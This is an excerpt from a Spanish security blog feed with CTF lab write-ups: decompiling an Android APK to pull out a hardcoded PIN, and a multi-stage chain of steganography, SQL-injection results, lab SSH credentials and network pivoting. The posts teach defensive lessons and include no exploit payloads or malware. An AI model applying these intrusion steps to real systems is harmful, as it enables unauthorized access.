&lt;td&gt;Cuenta oculta con privilegios&lt;/td&gt;
&lt;td&gt;Revisar privilegios efectivos y no solo nombres&lt;/td&gt;
&lt;td&gt;Escalada o persistencia basada en membresías privilegiadas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servicio &lt;code&gt;che.service&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enumerar persistencia más allá de procesos visibles&lt;/td&gt;
&lt;td&gt;Confianza excesiva en revisiones superficiales de &lt;code&gt;systemd&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;redirect.sh&lt;/code&gt; con &lt;code&gt;iptables&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Relacionar síntoma funcional con sabotaje del host&lt;/td&gt;
&lt;td&gt;Manipulación local de tráfico sin necesidad de malware complejo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Redirección a &lt;code&gt;0.0.0.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Entender impacto operativo directo en navegación&lt;/td&gt;
&lt;td&gt;Ruptura deliberada de conectividad como cobertura o sabotaje&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Si tuviera que resumir la intención del laboratorio en una sola idea, sería esta: quise construir una máquina en la que el participante no “explota” nada, sino que aprende a leer una infección sencilla con criterio. Ese era el valor real del reto.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Documentación de &lt;code&gt;systemd&lt;/code&gt; para revisión de unidades y persistencia.&lt;/li&gt;
&lt;li&gt;Manual de &lt;code&gt;iptables&lt;/code&gt; para interpretar reglas NAT en salida.&lt;/li&gt;
&lt;li&gt;Revisión de &lt;code&gt;/etc/passwd&lt;/code&gt;, grupos y memberships como parte básica de análisis de compromiso en Linux.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Oscar</author></item><item><title>PinBreaker: una app Android pensada para enseñar por qué ocultar secretos en cliente no funciona</title><link>https://blog.oscarai.tech/posts/pinbreaker-una-app-android-pensada-para-ense%C3%B1ar-por-qu%C3%A9-ocultar-secretos-en-cliente-no-funciona</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/pinbreaker-una-app-android-pensada-para-ense%C3%B1ar-por-qu%C3%A9-ocultar-secretos-en-cliente-no-funciona</guid><pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Máquina creada por:&lt;/strong&gt; Oscar&lt;br /&gt;
&lt;strong&gt;Plataforma:&lt;/strong&gt; The Hackers Labs&lt;br /&gt;
&lt;strong&gt;Sistema operativo:&lt;/strong&gt; Android&lt;br /&gt;
&lt;strong&gt;Dificultad:&lt;/strong&gt; principiante&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;Este laboratorio lo diseñé para enseñar una idea muy concreta: cuando un secreto crítico queda embebido en el cliente, la validación deja de ser un control real y pasa a ser simplemente una barrera superficial. En este caso, la aplicación pide un PIN y sugiere que, una vez encontrado, se calcule su SHA256 para obtener la flag. La parte importante no es “romper” la app, sino entender qué decisión de diseño la hace débil desde el principio.&lt;/p&gt;
&lt;p&gt;La cadena aquí es deliberadamente corta y directa. No buscaba construir una APK llena de trucos, ofuscación agresiva o rutas artificiales, sino obligar a mirar el binario con criterio: descompilar, localizar el punto de entrada lógico y revisar cómo se valida la entrada del usuario. El aprendizaje que quería forzar es muy reutilizable fuera de un CTF: si una aplicación cliente contiene el valor esperado o la lógica completa de validación, cualquiera con acceso al paquete puede reconstruirla.&lt;/p&gt;
&lt;p&gt;También quise que el laboratorio sirviera como recordatorio de algo básico pero todavía frecuente en entornos reales: no se deben confiar secretos ni decisiones de autorización al lado cliente. En un reto pequeño esto se ve en forma de PIN hardcodeado; en escenarios reales aparece como claves embebidas, validaciones offline mal planteadas, feature flags sensibles o lógica de negocio que debería residir en servidor.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nombre&lt;/td&gt;
&lt;td&gt;PinBreaker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP objetivo&lt;/td&gt;
&lt;td&gt;No aplica&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servicios&lt;/td&gt;
&lt;td&gt;Aplicación Android (.apk)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cadena principal&lt;/td&gt;
&lt;td&gt;Descompilación de la APK → revisión de &lt;code&gt;MainActivity&lt;/code&gt; → extracción del PIN hardcodeado → cálculo de SHA256&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dificultad&lt;/td&gt;
&lt;td&gt;Principiante&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Descubrimiento del artefacto&lt;/h2&gt;
&lt;p&gt;El punto de partida es simplemente la APK proporcionada en el laboratorio:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;oscar@oscar-System-Product-Name:~/CTF$ ls -la
total 4915
drwxrwxr-x  2 oscar oscar       3 mar  1 16:42 .
drwxr-x--- 37 oscar oscar      57 mar  1 16:41 ..
-rw-rw-r--  1 oscar oscar 5777184 mar  1 16:41 PinBreaker.apk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Aquí no hay superficie de red ni un servicio que enumerar. La fase de reconocimiento consiste en identificar correctamente el tipo de objetivo y elegir el enfoque adecuado. Ese detalle forma parte del diseño del reto: quería que el análisis arrancase desde ingeniería inversa básica, no desde automatismos de enumeración típicos de máquinas Linux o Windows.&lt;/p&gt;
&lt;p&gt;Lo que representa esta fase en términos de aprendizaje es sencillo: antes de atacar nada, hay que entender qué se tiene delante. En este caso, el valor pedagógico está en reconocer que la fuente de verdad probablemente esté dentro del paquete y que, por tanto, revisar la APK es el camino natural.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Descompilación y revisión inicial&lt;/h2&gt;
&lt;p&gt;El siguiente paso fue descompilar la aplicación con &lt;code&gt;jadx&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;oscar@oscar-System-Product-Name:~/CTF$ jadx -d PinBreaker_jadx PinBreaker.apk 
INFO  - loading ...
INFO  - processing ...
ERROR - finished with errors, count: 32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Aunque la salida muestra errores, en este caso no impiden el análisis útil del binario. &lt;code&gt;jadx&lt;/code&gt; genera igualmente la estructura de trabajo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;oscar@oscar-System-Product-Name:~/CTF/PinBreaker_jadx$ ls
resources  sources
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Este detalle también me interesaba como parte del laboratorio. En escenarios reales, las herramientas de reversing no siempre producen una reconstrucción perfecta. Aun así, eso no significa que el análisis haya fracasado. Muchas veces basta con recuperar las clases relevantes y seguir el flujo principal. El reto está construido para que el alumno no se bloquee por mensajes ruidosos de herramienta y se centre en lo importante: si el código sensible se ha recuperado, el problema ya es visible.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Localización de la lógica principal&lt;/h2&gt;
&lt;p&gt;Una vez generada la estructura, el siguiente movimiento fue localizar la actividad principal:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;oscar@oscar-System-Product-Name:~/CTF/PinBreaker_jadx$ find -name &quot;MainActivity*&quot;
./sources/com/pinbreaker/ctf/MainActivity.java
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La ruta encontrada fue:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./sources/com/pinbreaker/ctf/MainActivity.java
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Diseñé esta fase para que el recorrido fuese legible y útil para quien está empezando a analizar aplicaciones móviles. No hacía falta perseguir múltiples clases, servicios secundarios ni mecanismos de carga dinámica. La intención era que el alumno asociase rápidamente la interfaz con la lógica que procesa el PIN y entendiese cómo una comprobación aparentemente inocente puede revelar el secreto completo.&lt;/p&gt;
&lt;p&gt;Este tipo de revisión es relevante fuera del CTF porque muchas implementaciones móviles siguen concentrando decisiones sensibles en clases muy predecibles: actividades principales, controladores de login, validadores locales o utilidades de configuración. La simplicidad de acceso a esa lógica es, precisamente, el problema.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Extracción del PIN embebido&lt;/h2&gt;
&lt;p&gt;Al revisar &lt;code&gt;MainActivity.java&lt;/code&gt;, aparece la validación del PIN:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.pinbreaker.ctf;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import androidx.constraintlayout.widget.ConstraintLayout;
import kotlin.Metadata;
import kotlin.jvm.internal.Intrinsics;

public final class MainActivity extends AppCompatActivity {
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Button unlockButton = (Button) findViewById(R.id.unlockButton);
        final EditText pinInput = (EditText) findViewById(R.id.pinInput);
        final TextView result = (TextView) findViewById(R.id.result);
        unlockButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public final void onClick(View view) {
                MainActivity.onCreate$lambda$0(pinInput, this, result, view);
            }
        });
    }

    private static final void onCreate$lambda$0(EditText $pinInput, MainActivity this$0, TextView $result, View it) {
        String pin = $pinInput.getText().toString();
        if (this$0.checkPin(pin)) {
            $result.setText(&quot;✅ PIN correcto. Calcula su hash SHA256 para obtener la flag.&quot;);
        } else {
            $result.setText(&quot;❌ PIN incorrecto&quot;);
        }
    }

    private final boolean checkPin(String pin) {
        return Intrinsics.areEqual(pin, &quot;8524947156&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La clave está en esta línea:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;return Intrinsics.areEqual(pin, &quot;8524947156&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El PIN correcto es, por tanto:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;8524947156
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Aquí está el núcleo del laboratorio. Quería mostrar de la forma más limpia posible el error de diseño: la aplicación contiene el valor esperado y realiza la comparación localmente. No hay una comprobación remota, no hay separación entre interfaz y decisión de seguridad, y no hay nada que realmente proteja el secreto una vez el atacante dispone del APK.&lt;/p&gt;
&lt;p&gt;Ese patrón es pequeño, pero representa un fallo muy real. En producción no siempre adopta la forma de un PIN. A veces es una API key incrustada, una contraseña de servicio, un token de prueba olvidado, una comprobación de licencia local o una validación de privilegios que debería vivir en backend. El problema de fondo es el mismo: confiar en que el cliente va a ocultar algo que, por definición, se entrega al usuario.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Obtención de la flag&lt;/h2&gt;
&lt;p&gt;Una vez recuperado el PIN, la propia aplicación y el enunciado indican que la flag se obtiene calculando su hash SHA256. El cálculo se hizo así:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;oscar@oscar-System-Product-Name:~/CTF/PinBreaker_jadx$ echo &quot;8524947156&quot; | sha256sum
2a4be6606b9490b9955c7aac8e856c8e3098f9b15e98a8985ce5c192049c96ef
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Con las notas disponibles, la flag resultante es:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2a4be6606b9490b9955c7aac8e856c8e3098f9b15e98a8985ce5c192049c96ef
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hay, no obstante, un matiz técnico importante. El comando mostrado usa &lt;code&gt;echo&lt;/code&gt; sin &lt;code&gt;-n&lt;/code&gt;, así que introduce un salto de línea al final antes de pasar la cadena a &lt;code&gt;sha256sum&lt;/code&gt;. Eso significa que el hash calculado corresponde a &lt;code&gt;8524947156\n&lt;/code&gt;, no necesariamente al texto desnudo &lt;code&gt;8524947156&lt;/code&gt;. No lo corrijo porque no hay que inventar ni alterar el comportamiento reflejado en las notas, pero sí conviene dejar constancia de ello: en un laboratorio así, ese tipo de detalle puede ser intencionado o simplemente una consecuencia operativa del comando usado.&lt;/p&gt;
&lt;p&gt;También hay aprendizaje aquí. Incluso cuando el secreto ya se ha recuperado, sigue siendo necesario respetar exactamente la transformación pedida. En seguridad ofensiva y en análisis de aplicaciones, los detalles de formato importan.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Qué quería enseñar al diseñar PinBreaker&lt;/h2&gt;
&lt;p&gt;La idea de fondo en este CTF era enseñar una cadena mínima pero muy clara: entregar la lógica de validación y el secreto al cliente equivale a renunciar a protegerlos. No hace falta explotar memoria, interceptar tráfico ni abusar de componentes complejos. Basta con inspeccionar el paquete y leer con atención.&lt;/p&gt;
&lt;p&gt;Más que un walkthrough, este laboratorio está pensado como una demostración de criterio: revisar dónde vive la validación, preguntarse quién controla realmente el secreto y entender que la ofuscación ligera o la simple compilación no son medidas de protección.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fase&lt;/th&gt;
&lt;th&gt;Qué enseña&lt;/th&gt;
&lt;th&gt;Error representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Identificación de la APK&lt;/td&gt;
&lt;td&gt;Elegir el enfoque según el tipo de objetivo&lt;/td&gt;
&lt;td&gt;Tratar un binario cliente como si fuera una caja negra&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Descompilación con &lt;code&gt;jadx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Obtener visibilidad suficiente aunque haya errores parciales&lt;/td&gt;
&lt;td&gt;Confiar en que compilar u ofuscar mínimamente oculta la lógica&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Revisión de &lt;code&gt;MainActivity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Seguir el flujo principal de una validación local&lt;/td&gt;
&lt;td&gt;Colocar decisiones sensibles en el lado cliente&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Extracción del PIN&lt;/td&gt;
&lt;td&gt;Recuperar secretos embebidos desde código descompilado&lt;/td&gt;
&lt;td&gt;Hardcoding de credenciales o valores de acceso&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cálculo del SHA256&lt;/td&gt;
&lt;td&gt;Respetar exactamente la transformación pedida&lt;/td&gt;
&lt;td&gt;Ignorar detalles de formato al derivar artefactos de seguridad&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;La cadena tiene sentido fuera del entorno CTF porque el patrón sigue apareciendo en software real. Cada vez que una app móvil, de escritorio o incluso una SPA contiene secretos o validaciones críticas que deberían residir en servidor, el problema es esencialmente el mismo que aquí, solo con más capas alrededor.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;jadx&lt;/code&gt;, para descompilación y revisión estática de aplicaciones Android.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sha256sum&lt;/code&gt;, para derivar la flag a partir del PIN recuperado.&lt;/li&gt;
&lt;li&gt;Buenas prácticas de seguridad en aplicaciones móviles: no almacenar secretos sensibles ni lógica de autorización en cliente.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Oscar</author></item><item><title>Rebind: una cadena diseñada para enseñar cómo pequeños fallos terminan en compromiso total</title><link>https://blog.oscarai.tech/posts/rebind-una-cadena-dise%C3%B1ada-para-ense%C3%B1ar-c%C3%B3mo-peque%C3%B1os-fallos-terminan-en-compromiso-total</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/rebind-una-cadena-dise%C3%B1ada-para-ense%C3%B1ar-c%C3%B3mo-peque%C3%B1os-fallos-terminan-en-compromiso-total</guid><pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Máquina creada por:&lt;/strong&gt; Oscar&lt;br /&gt;
&lt;strong&gt;Plataforma:&lt;/strong&gt; The Hackers Labs&lt;br /&gt;
&lt;strong&gt;Sistema operativo:&lt;/strong&gt; Linux&lt;br /&gt;
&lt;strong&gt;Dificultad:&lt;/strong&gt; Avanzada&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;Este laboratorio lo diseñé como una cadena en dos fases, no como una máquina aislada ni como una colección de trucos independientes. La idea era obligar a leer el contexto completo: primero entender cómo una pista aparentemente decorativa en el servidor inicial termina siendo útil, después utilizar ese acceso para desbloquear un segundo sistema que, en condiciones normales, no expone superficie útil.&lt;/p&gt;
&lt;p&gt;La máquina está construida para enseñar una secuencia concreta de errores: exposición innecesaria de información en una web, uso de esteganografía como canal de entrega de una pista real, una inyección SQL que no solo sirve para extraer datos sino para reconstruir una contraseña a partir de fragmentos, y finalmente una fase en la que el acceso a un segundo servidor depende tanto de credenciales válidas como de estar en la red correcta. El cierre de la cadena llega con un servicio que se activa tras autenticación y que contiene una funcionalidad de depuración mal resuelta, suficiente para terminar en ejecución remota como root.&lt;/p&gt;
&lt;p&gt;El valor del laboratorio no está en llegar al final, sino en entender por qué cada fase existe y qué representa. Quise que el recorrido dejara claro que muchos compromisos reales no dependen de una única vulnerabilidad crítica, sino de varias decisiones pequeñas que, combinadas, abren una ruta completa.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nombre&lt;/td&gt;
&lt;td&gt;servidor1 / servidor2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP objetivo&lt;/td&gt;
&lt;td&gt;10.0.1.13 y 10.0.50.100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servicios&lt;/td&gt;
&lt;td&gt;SSH, MySQL, Redis, HTTP en 8080, servicio web temporal en 5000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cadena principal&lt;/td&gt;
&lt;td&gt;pista en web → esteganografía → SQLi → acceso SSH condicionado → activación de servicio → abuso de endpoint de depuración&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dificultad&lt;/td&gt;
&lt;td&gt;media&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Descubrimiento de la máquina&lt;/h2&gt;
&lt;p&gt;El laboratorio arranca realmente en &lt;code&gt;servidor2&lt;/code&gt;, pero ese sistema está planteado como un señuelo inicial: no expone puertos útiles hasta que el jugador resuelve antes &lt;code&gt;servidor1&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -p- --open -sSCV --min-rate 3000 10.0.50.100 -vvv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El resultado inicial no ofrecía superficie de ataque práctica. Eso no era un bloqueo arbitrario, sino una decisión de diseño: quería que quedara claro que no todo servicio debe ser atacable de forma inmediata y que, en algunos entornos, la exposición real depende de acciones previas, autenticaciones o cambios de estado.&lt;/p&gt;
&lt;p&gt;Ese planteamiento obliga a dejar de pensar en hosts aislados y a leer el laboratorio como una cadena. Por eso la enumeración útil comienza en &lt;code&gt;servidor1&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Reconocimiento de servidor1&lt;/h2&gt;
&lt;p&gt;La enumeración del primer host sí mostraba una superficie clara:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3
3306/tcp  open  mysql   MySQL (unauthorized)
6379/tcp  open  redis?  protected mode
8080/tcp  open  http    Apache httpd 2.4.62 ((Debian))
33060/tcp open  mysqlx?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A nivel de diseño, aquí quise representar algo bastante habitual: varios servicios visibles, pero solo uno de verdad útil para construir contexto. Ni MySQL ni Redis eran el camino directo en esta fase. Redis, de hecho, respondía con el mensaje de &lt;em&gt;protected mode&lt;/em&gt;, lo que servía para introducir ruido razonable y recordar que la mera exposición de un puerto no siempre equivale a una vía explotable.&lt;/p&gt;
&lt;p&gt;La pieza importante era la web en el puerto 8080.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Enumeración web y pista embebida&lt;/h2&gt;
&lt;p&gt;El código fuente de la aplicación mostraba varios detalles relevantes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;es&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;Reto de Navidad&amp;lt;/title&amp;gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;container&quot;&amp;gt;
        &amp;lt;h1&amp;gt;🎄 Bienvenido a la Noche Helada 🎄&amp;lt;/h1&amp;gt;
        &amp;lt;p&amp;gt;Entre la nieve y las sombras, alguien dejó un mensaje...&amp;lt;/p&amp;gt;
        &amp;lt;p class=&quot;mensaje&quot;&amp;gt;
            &quot;Cuando la oscuridad te envuelva, busca las palabras perdidas&amp;lt;br&amp;gt;
            y la contraseña te mostrará el camino&quot;.
        &amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;Acceso SSH: &amp;lt;b&amp;gt;ssh finaluser@IP&amp;lt;/b&amp;gt; / &amp;lt;b&amp;gt;1234&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;Pero cuidado... no todo lo que brilla es una pista.&amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;thehackerslabs.com&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El mensaje visible ya sugería dos ideas: había que “buscar las palabras perdidas” y la contraseña no iba a aparecer de forma directa. Además, la referencia a &lt;code&gt;thehackerslabs.com&lt;/code&gt; parecía decorativa, pero en realidad estaba colocada para ser reutilizada más adelante.&lt;/p&gt;
&lt;p&gt;En el CSS aparecía la imagen de fondo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;body {
    margin: 0;
    padding: 0;
    background-image: url(&apos;img/background.jpg&apos;);
    background-size: cover;
    background-position: center;
    background-attachment: fixed;
    color: #ddd;
    font-family: &apos;Arial&apos;, sans-serif;
    text-align: center;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Aquí la intención de diseño era muy concreta: enseñar que el frontend también forma parte de la superficie de ataque. No solo el HTML, también recursos estáticos, comentarios, nombres de archivos y contenido multimedia pueden actuar como portadores de información útil. En auditorías reales esto aparece con frecuencia en forma de ficheros olvidados, imágenes con metadatos, binarios de cliente o assets publicados sin revisión.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Esteganografía como canal de entrega&lt;/h2&gt;
&lt;p&gt;La imagen &lt;code&gt;background.jpg&lt;/code&gt; contenía información adjunta. El uso de &lt;code&gt;steghide&lt;/code&gt; con la cadena sugerida en la propia página permitió extraer un mensaje:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;steghide extract -sf background.jpg -p &quot;thehackerslabs.com&quot;
cat mensaje.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;thl.rebind
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Esa cadena llevaba a un nuevo punto de entrada dentro del mismo laboratorio. No me interesaba usar la esteganografía como truco aislado, sino como forma de forzar una enumeración menos superficial. La enseñanza aquí es simple: cuando una aplicación parece demasiado pobre para justificar el escenario, normalmente hay que revisar lo accesorio, no insistir a ciegas contra el mismo endpoint.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Enumeración del dominio y acceso a la parte vulnerable&lt;/h2&gt;
&lt;p&gt;Una vez resuelto el nombre &lt;code&gt;thl.rebind&lt;/code&gt;, aparecía una funcionalidad que exigía realizar la inyección SQL correctamente. En las notas no se conserva toda la secuencia de payloads, pero sí el resultado relevante: de esa fase se obtuvieron cuatro bloques codificados en Base64.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;QWJjMTIzWHl6NDU2
UXd1Nzg5UnR5MDAw
V1lvMTEzUGFzMjIy
SmtseDMzM01ubzQ0NA==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Decodificados:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;QWJjMTIzWHl6NDU2&quot; | base64 -d   # Abc123Xyz456
echo &quot;UXd1Nzg5UnR5MDAw&quot; | base64 -d   # Qwe789Rty000
echo &quot;V1lvMTEzUGFzMjIy&quot; | base64 -d   # Uio111Pas222
echo &quot;SmtseDMzM01ubzQ0NA==&quot; | base64 -d   # Jklx333Mno444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Concatenación inicial:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Abc123Xyz456Qwe789Rty000Uio111Pas222Jklx333Mno444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Esta parte del laboratorio estaba pensada para que la inyección no se percibiera como un fin en sí mismo. Extraer datos desde SQL era solo el paso intermedio. Lo importante era interpretar la salida y reconstruir una credencial a partir de fragmentos con patrón. En una intrusión real, muchas veces el problema no es exfiltrar el dato, sino reconocer cuál de todos los datos extraídos es operativo y cuál contiene ruido o manipulación.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Obtención de acceso inicial y validación lógica de la contraseña&lt;/h2&gt;
&lt;p&gt;La propia web incluía una pista adicional:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Acceso SSH: ssh grinch@10.0.1.13 / felicidad
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Con esa información fue posible autenticarse por SSH como &lt;code&gt;grinch&lt;/code&gt;, pero el acceso estaba condicionado a introducir una “contraseña mágica” adicional:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh grinch@10.0.1.13
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Al introducir la concatenación obtenida directamente, el sistema respondía:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;🕵️ Hmm... Todo parece correcto, pero...
📜 Todo sigue un patrón lógico, pero a veces un impostor altera la melodía final.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La clave no era puramente técnica, sino de análisis. Los cuatro bloques seguían un patrón alfabético y numérico coherente, salvo una &lt;code&gt;x&lt;/code&gt; sobrante en el último fragmento. Ajustando esa anomalía, la contraseña válida quedaba así:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Abc123Xyz456Qwe789Rty000Uio111Pas222Jkl333Mno444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ese era un punto importante en el diseño de la máquina. No quería que todo se resolviera acumulando comandos. Quise introducir una fase donde el progreso dependiera de observar regularidades, detectar una corrupción mínima y corregirla. Ese tipo de validación es muy útil fuera del CTF: credenciales truncadas, datos alterados por formato, secretos montados con partes inconsistentes o cadenas deliberadamente contaminadas son problemas bastante plausibles en escenarios reales.&lt;/p&gt;
&lt;p&gt;La ejecución correcta devolvía la transición al segundo servidor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Servidor 2: 10.0.50.100:22
trueno / !x2T#9aL@Mv
¡Recuerda...! Pareces listo... pero solo los elfos con suerte saben que 10.0.5.80 es el camino.
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Pivoting hacia servidor2&lt;/h2&gt;
&lt;p&gt;Con credenciales válidas para &lt;code&gt;servidor2&lt;/code&gt;, una conexión directa desde la red &lt;code&gt;10.0.50.0/24&lt;/code&gt; no funcionaba como cabría esperar. La pista entregada durante la fase anterior apuntaba a otra dirección local, y tras ajustar la interfaz del atacante para adoptar la IP adecuada, el comportamiento cambió.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh trueno@10.0.50.100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Respuesta:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;El servicio ha sido iniciado. Cerrando sesion...
&lt;/code&gt;&lt;/pre&gt;
